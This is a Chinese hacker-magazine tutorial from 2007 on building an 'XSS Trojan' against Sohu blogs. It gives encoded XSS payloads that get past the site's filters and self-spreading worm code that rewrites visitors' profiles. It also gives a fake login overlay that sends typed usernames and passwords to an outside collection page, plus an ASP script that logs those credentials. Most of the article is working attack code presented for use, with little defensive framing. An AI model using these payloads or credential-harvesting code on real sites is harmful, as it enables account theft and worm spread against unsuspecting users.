Ajax Hacking实战——打造XSS Trojan
发表于《黑客防线》07年02期
作者:梦之光芒(Monyer)
在黑防给大家介绍Ajax Hacking技术也有几期了,但是还没有实践过。这次给大家带来的就是一次实战的分析问题和解决问题的过程,而且是一个通用的打造“XSS Trojan”的全过程。由于也是藏在后台获取和发送用户信息,和木马极为相似,所以文章的名字才叫XSS Trojan,和网页木马是两码事哦。本来是准备给大家介绍怎样做XSS Worm的,可是因为起稿时是以Sohu博客做实战的,在数据提交时出现了问题;所以这里仅会简单介绍一下它的思路,而在此之上我们会一起去做这个记录用户名密码的“木马脚本”(某些网站甚至可以不用脚本哦!)。
XSS漏洞利用方式
在Sohu的博客里,本人发现的并且可以利用的XSS点有“个人档案”区(因为用户自建版块的性质和其相同,所以归为一类)和“文章发布”区。
他们都没有过滤style(层叠样式表)的注释信息,使得通过注释绕过的特殊脚本字符插入得以实现,利用方式如下:
<img style="xss:expr/*XSS*/ession(alert('xss'))" />
其中 “xss”这个属性你可以随意拟定,你改成“width”或“height”什么的都没有关系;“/*XSS*/”为注释的内容,内容也可以随意指定;但是在注释两边的字符除了左右位置可以改变,具体的值是不能改变的,因为它们连起来正式我曾经提到过的三个特殊的引起事件的标志之一—— “expression”,由于IE会忽略掉样式表中的注释使得我们的XSS脚本代码可以顺利执行。
但是这样的代码在个人档案里可以执行,在文章里却会被二次过滤(即在转向文章页面的客户端加载的时候会被过滤掉);而且由于expression是不间断的加载的,所以会使电脑的cpu占有率很高(你可以打开资源管理器,在有“expression”的网页上快速移动鼠标就会看到cpu迅速飙升);并且 “expression”是IE的专利,在Firefox下是不支持的,这使我们不能编写通用的XSS脚本。所以我们采取另一种插入跨站方式——编码, Sohu博客对于脚本编码没有过滤的是16进制的java式编码,利用方式如下:
<DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029\0029">
转码之前的代码为:
<DIV STYLE="background-image:url(javascript:alert('XSS')) ">
但是由于“javascript:”对于复杂的复合式脚本代码显得力不从心,所以我们不得不对代码进行一些改进。Samy(著名的Myspace Worm)采取的方法是把执行代码写进标签另一属性里,并通过document对象调用,使用eval执行,譬如:
<div id="mycode" expr="alert('xss')" style="background:url('javascript:eval(document.all.mycode.expr)')">
但是由于Sohu博客禁止除style以外的属性,所以这种方式对我们不适用,我们只能直接把代码写进eval里。但此时利用代码仍没有完成——由于我们对style属性用了双引号,对url用了单引号,因此在eval这个函数里就不能再有引号了,否则就会混淆。Samy的方法是对单引号和双引号进行相应转换:
var B=String.fromCharCode(34);var A=String.fromCharCode(39);//34为双引号十进制,39为单引号十进制
但我们这里事实上在eval本身时就已经没有引号可用了,更别提语句里面的,所以这个方法无效。我所采取的是把整个XSS代码全部转换为十进制,然后用 String.fromCharCode解码,用eval执行。这样内部代码可以随意单引号,而不会影响代码本身,所以测试字符转换如下:
<DIV STYLE="background-image:url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41,59))) ">
再加上上面的16进制编码,完整的利用方式如下:
<DIV STYLE="background-image: \0075\0072\006c\0028\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0065\0076\0061\006c\0028\0053\0074\0072\0069\006e\0067\002e\0066\0072\006f\006d\0043\0068\0061\0072\0043\006f\0064\0065\0028\0039\0037\002c\0031\0030\0038\002c\0031\0030\0031\002c\0031\0031\0034\002c\0031\0031\0036\002c\0034\0030\002c\0033\0039\002c\0031\0032\0030\002c\0031\0031\0035\002c\0031\0031\0035\002c\0033\0039\002c\0034\0031\002c\0035\0039\0029\0029\0029">
XSS Worm的构造思路
其实我最初只打算学着Samy做个Worm来着,可是后来由于Sohu似乎把个人博客首页与个人资料设置页面放在不同的服务器上,导致最终代码在本地可以顺利执行,到了远程就会提示没有权限(这个仅是本人的一点猜想,如果有不同意见的高手不妨指点一二)。所以这里仅讲一下XSS Worm的制作思路,方便大家以后做XSS Worm。
该Worm的功能为在Sohu用户访问者的博客的友情链接里写入“Monyer id My Hero !”(仿samy,呵呵),在用户的个人档案里写入“window.location.href=我的博客”(上文提到的expression利用方式)。这样每一个进入我的博客的用户都会被插入以上两项,每一个浏览他们博客的用户都会直接转到我的博客——即实现worm功能。之所以不直接把worm 代码写进他们的文章里是因为,一是由于这个写进div的代码没有id,不好指定(虽然通过 document.documentElement.innerHTML,并依照特征值取具体代码是可以的,但是相对来说比较麻烦),二是在写文章时 Sohu会为这篇文章设一个临时的“aid”,类似于我们所常见的验证码,使得直接在他们的博客里写文章无法实现(我估计这个是为了防止用户用程序刷写文章而放置的)。所以我们可以构造如下代码(提交参数和提交方式是通过抓包得知的):
window.onload=function x(){
var a=new ActiveXObject('Microsoft.XMLhttp');
a.Open('get','http://monyer.blog.Sohu.com/manage/link.do?m=add&title=Monyer&desc=Monyer%20is%20my%20hero%20%21&link=http%3A//monyer.blog.Sohu.com/&_',true);
a.send(null);
var b=new ActiveXObject('Microsoft.XMLhttp');
b.Open('post','http://monyer.blog.Sohu.com/manage/profile.do?image=http%3A%2F%2Fphoto.pic.Sohu.com%2Fimages%2Foldblog%2Fperson%2F11111.gif&icon=http%3A%2F%2Fimg3.pp.Sohu.com%2Fppp%2Fblog%2Fimages%2Fcommon%2Fnobody.gif&change=true&detailDesc=%3Cimg+style%3D%22display%3Anone%3Bxss%3Aexpr%2F*XSS*%2Fession%28window.location.href%3D%27http%3A%2F%2Fmonyer.blog.Sohu.com%27%29%22+%2F%3E%0D%0A&m=update&submit=%B1%A3+%B4%E6',true);
b.send(null);
}
然后把代码现依照上面做十进制转换,放在url('javascript:eval(String.fromCharCode())')里,再进行16进制转码然后放在<div style="BACKGROUND-image: ">就可以了,代码过长就不贴出来了。为了大家转码方便,我用js做了一个有20多个多功能的编码转码页面放在黑防光盘里(花了我两天的时间啊),所有的操作大家都可以利用它来转码和调试。
XSS Trojan的制作实战
Sohu过滤XSS代码这点毋庸质疑,但它没有过滤style属性大家也应该知道。而这个“漏洞”应该是目前大多数的可以写文章的系统所具有的。所以你只要利用特殊构造的html代码,就可以完完全全把原有页面覆盖掉,并随意构造你的新页面,譬如如下代码:
<DIV style="Z-INDEX: 10000; FILTER: Alpha(Opacity=80); LEFT: 0px; VISIBILITY: visible; WIDTH: 100%; POSITION: absolute; TOP: 0px; HEIGHT: 1500px; BACKGROUND-COLOR: #fff" id="monyer" class="monyer" name="monyer"><em>123</em></DIV>
懂html和css的应该知道该代码会建立一个高度为1500像素,宽度为100%,透明度为80%的层,并且由于z轴(上下为y轴,左右为x轴,里外就是z轴了)设为10000,所以该层会永远位于所有元素的最上面(如图1)。但之所以插入一个斜体的123,后面你将会知道。
图表 1
下面说说我的意图吧,我们需要先给登录用户alert一个“Session获取失败,用户链接中断,请重新登录!”的窗口,然后用一个层覆盖原页面,并打印出一个伪造的用户登录窗口。我这个只是个例子,所以很简单,大家做时可以做得漂亮点,原则上是和博客系统的登录越相近越好(如图2)。
图表 2
但是由于Sohu在屏蔽XSS脚本的同时也屏蔽了表单元素,所以我们需要对表单做一下处理,结合上面的div后,代码如下:
<div style="Z-INDEX: 10000; FILTER: Alpha(Opacity=80); LEFT: 0px; VISIBILITY: visible; WIDTH: 100%; POSITION: absolute; TOP: 0px; HEIGHT: 800px; BACKGROUND-COLOR: #fff"><em> <form id="form1" name="form1" method="post" action=""><label><input type="text" name="textfield"/></label><p><label><input type="text" name="textfield2"/></label></p><p><label><input type="submit" name="Submit" value="提交"/></label>< label><input type="reset" name="Submit2" value="重置"/></label>< /p></form> </em></div>
你可能要问,这不是把表单内容进行Htmlencode了吗?的确如此,但是还记得在它的外边不是还有个“<em>”标签吗?放上此标签的目的正在于此,我们只要通过XSS脚本先读进该标签中的内容然后再输出就可以呈现出html了,演示代码如下:
<script>
window.onload=function(){
var j=document.getElementsByTagName('em')[0];j.outerHTML=j.firstChild.data
}
</script>
根据我在12月份的《Ajax Hacking With XSS》我相信你不难明白,document.getElementsByTagName(‘em’)的意思是获取第一个em标签,由于Sohu里没有默认的斜体字,所以我们指定的是第一个标签。j.outerHTML=j.firstChild.data的意思是把标签中的内容输出并替换原标签及其中的内容,至于为什么只要通过js读取原来编码过的html并输出就会还原原html,我也不是很清楚,只是看过国外文章提到过,拿来用罢了。由于eval会自动执行它内部的代码,所以当进行编码时,我们只需要
var j=document.getElementsByTagName('em')[0];j.outerHTML=j.firstChild.data
就可以了,不需要再“window.onload”。
但是上面的构造过程还有一个问题——当用户输入完用户名密码后提交时,怎么办?我们这里先给form加一个onSubmit=”doit();return false;”属性,并指向如下代码:
function doit(){
var j=document.getElementById('form1');j.outerHTML='<img style="display:none" src=" http://www.target.com/get.asp?name="+form1.textfield.value+"&pwd="+form1.textfield2.value"><iframe width="100%" height="1500px" scrolling="no" allowTransparency="false" border="0" frameborder="0" src="http://www.xxx.com" ></iframe>';
}
这样当用户提交代码时,会把表单内容发送到http://www.target.com/get.asp上然后把当前表单替换成一个跟div一样大的iframe框架,iframe框架里的url指向当前url即可,这里之所以没有xmlhttprequest方式发送数据是因为ajax只能在同一域下进行,但通过img的调用却是可以的。Asp中的代码可以为
<%
name = Request("name")
pwd= Request("pwd")
Dim FileObject
Set FileObject=Server.CreateObject("Scripting.FileSystemObject")
Dim TextFile
Set TextFile=FileObject.OpenTextFile(Server.MapPath("text.txt"),8,true)
TextFile.WriteLine(‘name:’&name&’>>>’&’password:’&pwd)
TextFile.Close
%>
这样一个简单的Web Trojan就做成了。也许你会问为什么不直接修改Sohu自带的form表单地址?其实主要原因有两个,一是当用户访问你页面时可能已经登录过了;二是即使对方没有登录,也不一定非要在你的页面上登录。而本文会以覆盖掉原页面的方式强迫用户登录。当然我的那个表单制作得简单了些,如果把登录的表单做得跟 Sohu的极为相像的话,那么我相信大部分人会中招。但是这里还是提供一下直接修改原form表单的演示脚本吧,其实很简单,只要在脚本里把form的 action进行重新赋值就可以了。
<form id="form1" name="form1" method="post" action="http://www.baidu.com">
<input type="submit" name="Submit" value="提交" /></form>
<script>
window.onload=function(){form1.action="http://www.Sohu.com"}
</script>
好了,文章就到这里。由于行文仓促,文中不免有失误之处,望谅解!但我希望能更多的给大家一种新思路,譬如用人家允许的东西作出你想要的效果来。最后祝大家新年玩的快乐,跨的快乐!